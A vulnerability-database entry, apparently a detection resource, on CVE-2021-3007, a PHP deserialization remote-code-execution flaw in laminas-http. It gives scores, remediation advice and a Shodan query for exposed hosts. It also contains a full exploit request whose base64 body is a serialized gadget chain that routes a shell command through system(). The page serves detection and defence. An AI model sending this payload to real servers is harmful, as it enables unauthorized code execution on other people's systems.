🔙 목록으로 돌아가기

CVE-2021-3007: Laminas Project laminas-http - Remote Code Execution

TitleLaminas Project laminas-http - Remote Code Execution
Author0xanis
SeverityCritical
ImpactAttackers can execute arbitrary code remotely by controlling serialized content during deserialization.
RemediationUpdate to laminas-http 2.14.2 or later; note that Zend Framework is no longer supported.
CVSS Score9.8
EPSS Score0.91409
CVE IDCVE-2021-3007
CWE IDCWE-502
Shodan Queryhttp.html:"laminas"
Tags cve cve2021 laminas zend rce deserialization vkev

🔍 Vulnerability Description

Laminas Project laminas-http < 2.14.2 and Zend Framework 3.0.0 contain a deserialization vulnerability caused by __destruct method in Zend\Http\Response\Stream, letting attackers control content lead to remote code execution, exploit requires attacker-controlled serialized data.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 546
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

hello=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjc6InBocGluZm8iO319fXM6MTM6IgAqAGF0dHJpYnV0ZXMiO2E6MTp7czoxMDoiZWNobyBkems3biI7aToxO319fQ==

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3007.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-3007.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A